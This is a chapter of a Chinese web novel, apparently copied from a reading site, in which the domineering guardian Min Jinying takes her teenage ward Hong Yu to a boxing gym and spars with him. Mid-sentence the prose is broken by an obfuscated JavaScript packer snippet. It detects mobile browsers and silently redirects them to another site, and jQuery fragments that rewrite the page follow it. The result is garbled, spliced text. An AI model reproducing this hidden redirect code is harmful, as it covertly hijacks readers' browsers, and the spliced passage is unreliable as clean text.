闵堃看着洪宇一脸疑惑与惊诧，也是低头笑了笑：“算了，慢慢来吧，我们回去吧。”


    闵家老宅的挂白已经摘了下来，又重新回到了往日的样子。程叔打理怡福花园老宅内内外外，其他佣人各司其职，这座三层楼高前庭院后花园的宅子似乎没有任何改变，只是运转的中心从闵金玺变作了洪宇。


    当然，以及许久才会大驾光临一次，如皇帝巡幸行宫的闵金瑛。


    即便闵金瑛说了会每周抽两天时间回来吃饭，可十有八九是临到饭点让办公室秘书打来电话，说在应酬不回怡福花园了，只留一肚子气的闵堃，和松了一口气的洪宇，沉默无言地用完一顿晚饭。


    即便是闵堃打电话去问，也不过三五个电话里头接一个，三言两语给打发了，闵金瑛脸都不会露一次。


    以至于每次闵金瑛真的出现，洪宇都有些不太适应，提着心吊着胆应对她不知何时会来的诘难与调侃。


    正如此时此刻，闵金瑛难得出现在闵家老宅的餐桌上，又不知道是在哪里受了闵家亲戚的气，垂眼对菜品挑挑拣拣不满意，借题发挥地刻薄完程叔，抬眼又盯上了洪宇。


    她慢悠悠放下筷子，伸手来将洪宇的脸颊捏着摇了摇：“你在闵家屋檐下住这么日子，看起来确实挺滋润的啊？脸上肉都多了。”


    洪宇没推开闵金瑛的手，等她自己捏够了收回手去。一字经，忍。此时不忍，要是让闵金瑛抓住把柄，那可不是捏一捏脸颊就能过去的。


    他停下自己手中的筷子，看向闵金瑛，乖乖等闵金瑛之后的话。


    这没头没脑的一句话，可洪宇已经摸清楚闵金瑛的脾性，这话接下来肯定没有好事，不是嘲讽他，就是捉弄他。而闵金瑛的每一句话，他都不能够，不被允许敷衍过去。


    他下意识地看了一眼对面闵堃常坐的位置。如果闵堃在这饭桌上，不管怎么样都能替他挡个一两句，闵金瑛也会稍微收敛点。可是今天闵金瑛回来得出乎意料，闵堃并没有来闵家老宅吃饭，只有他一个人应对闵金瑛的喜怒阴晴。


    洪宇想好歹是要回应点什么，如果晾着闵金瑛的话不回，她肯定会生气。可如果是随口一说的话，她更是会直接发难，糊弄不得。


    洪宇刚要张口，闵金瑛抱起手臂，往后仰靠，认真上下打量他：“嗯，确实是，你脸上有肉了比刚来那会儿好看多了。但还是瘦，小鸡崽一样，再结实一点就更好了。


    洪宇心下又打起鼓来。闵金瑛今天似乎心情不错，好像是真的在跟他开玩笑。这样的情况更少见，他更不知道该怎么应对。


    “你开始放寒假了，对吗？你们班主任跟我说来着，你期末考试成绩很不错，也用不上补习，老师让你自己复习就行了。”


    洪宇点点头，顺着这话题说了声是。


    “等会换身运动服，我带你去拳馆。”


    洪宇登时想起闵金瑛曾经的话。她说过要给他报拳击课的。洪宇放下碗筷，认真迎敌：“不去了吧，我还要复习。”


    “我这是跟你商量吗？”闵金瑛当即面色不豫，“现在我是你监护人，让你去就去，哪儿那么多话？照你现在这蔫儿了吧唧的样子，我过几天还得带你去闵氏实习？让人看见都丢我的人。”


    洪宇咬着牙，扶着碗筷不说话。


    闵金瑛指了指饭碗：“好好吃饭，吃完了休息一小时，我载你过去。”


    闵金瑛自己倒不再动筷，拿起手机来跟自己的泰拳教练发消息，正打字呢，忽然听洪宇发问。


    “如果我学了拳，能和你打吗？”


    闵金瑛一愣，双手拇指还保持着敲击屏幕打字的姿势。


    看这小鸡崽儿一样的小孩儿低眉顺眼久了，冷不丁看他露出爪子和虎牙来，闵金瑛面上有种看奶狗装凶的饶有趣味。


    闵金瑛倒扣手机，眯着眼睛看洪宇，问：“呦呵，你想跟我打啊？”


    她又呵呵笑了两声，双手抱起抵在桌边，俯身靠近洪宇：“你是跟我打啊？还是想打我啊？或者是心里算盘打得噼啪响，盘算着你这样说我会生气，接着臭骂你一顿，然后你就不用去学拳了？”


    洪宇压低下巴没说话。


    “看起来都有啊。”闵金瑛单手托着脸颊，笑眯眯品尝他脸上压抑的愤怒，她伸出手，在洪宇的脸侧拍了拍，“放弃吧，这拳击课你无论如何都得去，赶紧把饭吃了，少给我耍心眼儿。”


    洪宇下颌线的线条突起又消散，捏着筷子半晌没动。


    闵金瑛眉心一动，捏起一根筷子往前，在洪宇手指关节敲两下，露出一个“敢不听话有你好看”的表情。一个字不说，洪宇终于还是心不甘情不愿地把午饭吃完。


    残羹冷炙被收走，洪宇说要上楼复习，闵金瑛什么都没说，一个小时刚过，都不让佣人代劳，直接上楼把人提了下来。更免得洪宇找借口，闵金瑛叫佣人把运动服都准备停妥，她提着人出门塞进车里就走。


    这次闵金瑛没开那辆人人侧目的安可拉红保时捷，换了另一辆人人侧目大奔AMG，既喷漆又改装，一看就是高定。闵金瑛让洪宇把带的换洗衣服放后排，他一打开门就看见里头硕大一个运动包，一对拳套外挂，丁零当啷的配饰也一大堆，跟她这台车一样张扬惹眼，跟她这个人一样张扬惹眼。


    洪宇坐上副驾，拉好安全带。


    “你练拳练了多久？”他问。


    闵金瑛右手换挡，左手大小鱼际搓着方向盘倒车，行云流水的动作间懒懒回答一句：“忘了，六七年了吧。”


    车开出怡福花园，闵金瑛单手扶着方向盘，笑着伸手来捏了一把洪宇的脸颊，不咸不淡地补充一句：“你要是想把我打趴下，还有好久的路要走，保守估计，起码得等我七老八十吧。”


    洪宇用手背搓了搓闵金瑛捏过的地方：“不必了，我不和女生打架。”


    闵金瑛笑了一声，把他的手拍开，揪着他脸颊难得长起来的一点肉：“呦，你这营养不良的样子，做俯卧撑都得振翅起飞吧，轮得到你来看不起我？”


    洪宇费力推开闵金瑛的手，贴着车窗坐，尽可能地远离闵金瑛，也不敢再开口说什么。


    车程半小时，闵金瑛在拳馆外停车，带着洪宇刚进去，一个教练甩着两条花臂一边解缠手，一边就迎了上来打招呼。


    “你怎么这个时候来了？陈玄还没……”教练跟闵金瑛刚开口，话说一半，注意到旁边站着的洪宇。他眼珠子一转，笑问：“这是以旧换新了？”


    洪宇一下没有听懂，有些发愣。


    闵金瑛揉了揉洪宇的发顶：“胡说什么呀，这我侄子。”


    洪宇推开闵金瑛的手，他这下听懂了，敢情这教练是把他误认为是闵金瑛的新男友新情人。


    教练不好意思地哦哦了两句，“带他来学拳？还是就顺带陪你来玩一趟？”


    闵金瑛把洪宇往前一推，“让他跟你学吧，这个寒假隔天来，他下学期要高考了，开学后每周一次，暑假另说。哦对了，你小心点儿啊，他手不能受伤，孩子还得高考的。”


    千叮万嘱，教练这是真信洪宇是闵金瑛的侄子，连连点头，先给洪宇介绍了一遍拳馆的各类设施，然后让洪宇去换衣服准备热身开始第一节课。


    闵金瑛在场边翘着二郎腿用iPad看报告，看洪宇换了身运动服出来，抬眼一扫。


    闵家的伙食确实不错，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596347|187473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    洪宇不止脸颊有肉了，这手手脚脚看起来也没有刚来的时候那么孱弱，宽大骨架上好歹挂上一层肉，不至于衣服也空荡荡的。闵金瑛懒懒把目光放回屏幕上。


    虽然洪宇是营养跟上了，可到底还是缺乏锻炼底子差，刚开始的四十分钟体能就有点扛不住，教练鼓励了两句让闵金瑛听见，惹得她皱着眉头抬起下巴来看。


    少年已经满头大汗，体能最后一组跳箱子，他缓了半天没动作。


    闵金瑛收起iPad，抱着手臂开口：“这是按天结算，不按课时课次。这教练只有我一个客户，今天他上班的这八小时都归我。你要是扛不住想休息，可以，磨洋工的话，他有的是时间陪你玩。”


    声音不大，可场馆除了他们三个没有别人，洪宇听得清清楚楚，满是汗的脸立时白了两分。


    教练把控着课程强度，低声跟洪宇说让他不用做完最后一组，可洪宇似乎没听到，闷声在心里数着把次数做够才停下，趁着教练给他上缠手戴拳套才偷偷大喘气。


    教练冲闵金瑛喊：“你也别要求太高了，孩子这才刚起步。”


    闵金瑛哼了一声：“是刚起步，眼大肚小，就这样还说要打赢我，不自量力。”


    洪宇只觉得一颗心在嗓子眼蹦得飞快，眼前都有星星在飞。他咬着牙低声说了句什么，闵金瑛眼尖看见他嘴唇动，扬声问教练：“他骂我什么？”


    教练嘿嘿笑了两声：“没有骂你，孩子给自己打气呢，说自己一定可以。”


    一定可以。


    不是一定可以做完


    是一定可以赢她。


    闵金瑛笑了一声，臭小子脾气还不小。她站起身来，去前台找了根发圈把头发拢成马尾固定在脑后，在场边踢了鞋子，走向洪宇。


    “你先歇歇，我来教他。”


    洪宇脸色又白了一个度。


    教练一看她这架势，心下暗道不好，连忙找理由劝：“小孩子嘛。而且你这衬衫西裤的也不合适。再说了，我也不好拿钱不工作。”


    闵金瑛把手靶从教练手上撸下来，挥挥手让他到一边儿去，“玩几下而已，用不着换衣服。他今天都在你这儿呆着，你有的是时间教。”


    “可他这还都什么都不会……”


    “所以我来教嘛，让开。”


    洪宇端着两只拳套停在原地，看着闵金瑛，满脸写着不知所措。


    闵金瑛踢了踢他的脚，冷冷道：“格斗站架，前后脚，左脚在前，后脚抬脚跟45度，膝盖微屈。”


    她一面整理手靶，一面绕着洪宇走一圈，目光笑盈盈，像是准备出爪玩猎物的雌虎。移步到侧前，她提着手靶往洪宇肘关节一顶，他的拳套险些打中自己的下颌。


    洪宇趔趄两步，找到平衡站稳。


    闵金瑛笑得更欢：“手不能掉。这点记住了。”


    狼狈点燃怒火，洪宇把牙都咬得咔咔响，手在拳套里头狠狠捏紧，抬到身前，握紧在下颌。闵金瑛到洪宇身前站定，直面他一双冒火的眼睛。


    她笑着举起手靶，发号施令：“左手，直拳。”


    啪！


    拳套与手靶相撞，闵金瑛的手肘都被冲得往后顶。教练也忍不住抬了抬眉毛。少年瘦瘦弱弱的，惹毛了发起火来也是有点力量，还真是兔子急了会咬人。


    闵金瑛眼里的兴致顿时被拉满，黑漆漆一双眸子锁住洪宇的脸：“再来。”


    啪！啪！


    接连两拳。


    闵金瑛抬腿一扫洪宇的脚腕：“站架别散，换右手，直拳，转胯出拳。”


    洪宇回了一步调整好，盯着闵金瑛的嘴角，转体出拳，拳面直奔闵金瑛的脸去。